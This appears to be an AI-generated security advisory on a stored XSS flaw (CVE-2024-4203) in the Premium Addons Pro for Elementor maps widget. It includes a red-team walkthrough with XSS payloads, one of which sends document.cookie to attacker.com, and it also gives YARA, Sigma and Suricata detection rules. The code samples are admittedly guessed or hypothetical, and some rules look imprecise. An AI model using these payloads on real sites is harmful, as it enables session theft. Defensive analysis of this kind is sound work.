CVE-2024-4203

Executive Summary

CVE-2024-4203 is a Stored Cross-Site Scripting (XSS) vulnerability in the Premium Addons Pro for Elementor WordPress plugin, affecting versions up to and including 4.10.30. The flaw resides in the maps widget, where user-supplied attributes are insufficiently sanitized and output-escaped. This allows authenticated attackers with contributor-level access or higher to inject arbitrary web scripts into pages. When a victim accesses the compromised page, the injected script executes in their browser, potentially leading to session hijacking, data theft, or defacement. The vulnerability is specific to the premium version of the plugin and has a CVSS score of 5.4 (Medium). No public exploit code or patch is currently available.

Supply Chain & Package Security

This vulnerability affects the Premium Addons Pro for Elementor plugin, distributed via the WordPress plugin ecosystem. As a premium plugin, it is not available on the official WordPress.org repository but is sold through third-party marketplaces (e.g., CodeCanyon). Users must ensure they obtain the plugin from legitimate sources and apply updates as soon as they become available. The lack of a patch at the time of analysis increases supply chain risk for sites using this plugin.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N
• Base Score: 5.4 (Medium)
• Attack Vector: Network (AV:N)
• Attack Complexity: Low (AC:L)
• Privileges Required: Low (PR:L) – requires contributor-level access
• User Interaction: None (UI:N)
• Scope: Changed (S:C) – the vulnerable component impacts resources beyond its security scope
• Confidentiality Impact: Low (C:L)
• Integrity Impact: Low (I:L)
• Availability Impact: None (A:N)

Threat Level: Medium. While the CVSS score is moderate, the potential for stored XSS in a widely-used Elementor addon can lead to significant impact, especially on multi-author WordPress sites.

Deep Dive & Mechanics

The vulnerability exists in the maps widget of the Premium Addons Pro for Elementor plugin. The widget allows users to embed interactive maps (e.g., Google Maps) with custom attributes such as markers, coordinates, and popup content. The plugin fails to properly sanitize and escape user-supplied attributes before rendering them in the page HTML.

Root Cause: Insufficient input sanitization and output escaping on user-supplied attributes within the maps widget. Specifically, the plugin does not filter or escape HTML/JavaScript in attributes like data-marker-title or data-popup-content, allowing an attacker to inject malicious scripts.

Attack Flow:

1. An authenticated attacker with contributor-level access creates or edits a page/post using the Elementor editor.
2. The attacker adds the Premium Maps widget and injects a malicious payload into a vulnerable attribute (e.g., data-marker-title).
3. The payload is stored in the WordPress database without proper sanitization.
4. When any user (including administrators or visitors) views the page, the injected script executes in their browser.

Example Payload:

<div class="premium-maps-widget" data-marker-title="<script>alert('XSS')</script>"></div>

Vulnerable vs. Patched Code

Vulnerable Code (<= 4.10.30): The plugin likely uses esc_attr() or similar functions incorrectly, or fails to escape attributes entirely. For example:

// Vulnerable: direct output without escaping
echo '<div class="premium-maps-widget" data-marker-title="' . $settings['marker_title'] . '">';

Patched Code (Hypothetical): A patch would involve proper escaping using esc_attr() and wp_kses() for HTML content:

// Patched: escape attribute and sanitize content
echo '<div class="premium-maps-widget" data-marker-title="' . esc_attr( $settings['marker_title'] ) . '">';

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• WordPress site with Premium Addons Pro for Elementor <= 4.10.30
• Contributor-level account or higher

Steps:

1. Log in to WordPress as a contributor.
2. Create a new page or post using Elementor.
3. Add the Premium Maps widget to the page.
4. In the widget settings, locate a vulnerable attribute (e.g., Marker Title).
5. Inject a malicious payload:

   <img src=x onerror=alert('XSS')>
   

   Or a more sophisticated payload:

   <script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>
   

6. Save/publish the page.
7. When an administrator or visitor views the page, the script executes.

Note: No public exploit code is available; this is a conceptual demonstration.

Blue Team (Detection & Response)

Detection:

• Monitor for unusual Elementor widget configurations, especially in maps widgets.
• Look for suspicious attributes in page/post content (e.g., data-marker-title containing <script> tags).
• Use WAF rules to block common XSS payloads in POST requests to /wp-admin/admin-ajax.php or Elementor endpoints.

Response:

• Immediately disable the Premium Addons Pro plugin if no patch is available.
• Review and sanitize all pages/posts created by contributors.
• Reset compromised user accounts and rotate API keys.

Indicators of Compromise (IOCs)

• File Indicators:

  • Presence of malicious JavaScript in WordPress post/page content (e.g., in wp_posts.post_content).
  • Modified files in /wp-content/plugins/premium-addons-pro-for-elementor/ (though unlikely).

• Network Indicators:

  • Outbound connections to attacker-controlled domains from the WordPress server.
  • HTTP requests containing XSS payloads in Elementor widget parameters.

• Log Indicators:

  • Unusual Elementor AJAX requests from contributor accounts.
  • Error logs showing script execution attempts.

Detection Engineering

YARA Rule

rule CVE_2024_4203_XSS_Payload {
    meta:
        description = "Detects stored XSS payloads targeting Premium Addons Pro for Elementor maps widget"
        author = "Valters IT"
        date = "2024-07-01"
        reference = "CVE-2024-4203"
    strings:
        $payload1 = /data-marker-title\s*=\s*["'][^"']*<script[^>]*>.*?<\/script>/is
        $payload2 = /data-popup-content\s*=\s*["'][^"']*<script[^>]*>.*?<\/script>/is
        $payload3 = /onerror\s*=\s*["'][^"']*alert\(/is
    condition:
        any of them
}

Sigma Rule

title: Stored XSS via Premium Addons Pro for Elementor Maps Widget
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects stored XSS attempts in WordPress pages using Premium Addons Pro maps widget
author: Valters IT
date: 2024-07-01
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'POST'
        c-uri|contains: '/wp-admin/admin-ajax.php'
        cs-uri-query|contains: 'action=elementor_ajax'
        sc-status: 200
        cs-username|contains: 'contributor'
    condition: selection
falsepositives:
    - Legitimate use of HTML in widget attributes (rare)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2024-4203 Stored XSS in Premium Addons Pro Maps Widget"; flow:to_server,established; content:"POST"; http_method; content:"/wp-admin/admin-ajax.php"; http_uri; content:"action=elementor_ajax"; http_client_body; pcre:"/(data-marker-title|data-popup-content)\s*=\s*[\x22\x27][^\x22\x27]*<script[^>]*>/i"; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable the plugin if no patch is available. This is the most effective mitigation.
2. Restrict contributor roles to trusted users only.
3. Implement a Web Application Firewall (WAF) with rules to block XSS payloads in Elementor widget parameters.

Long-term Fix:

• Apply the official patch from Leap13 as soon as it is released.
• Update to a patched version (e.g., 4.10.31 or higher) once available.

Workarounds:

• Use a security plugin (e.g., Wordfence) to add virtual patching for this vulnerability.
• Manually sanitize user input in the maps widget by modifying the plugin code (not recommended for non-developers).

Valters IT Signature: This report was generated by Valters IT DevSecOps AI. For questions, contact security@valters-it.com.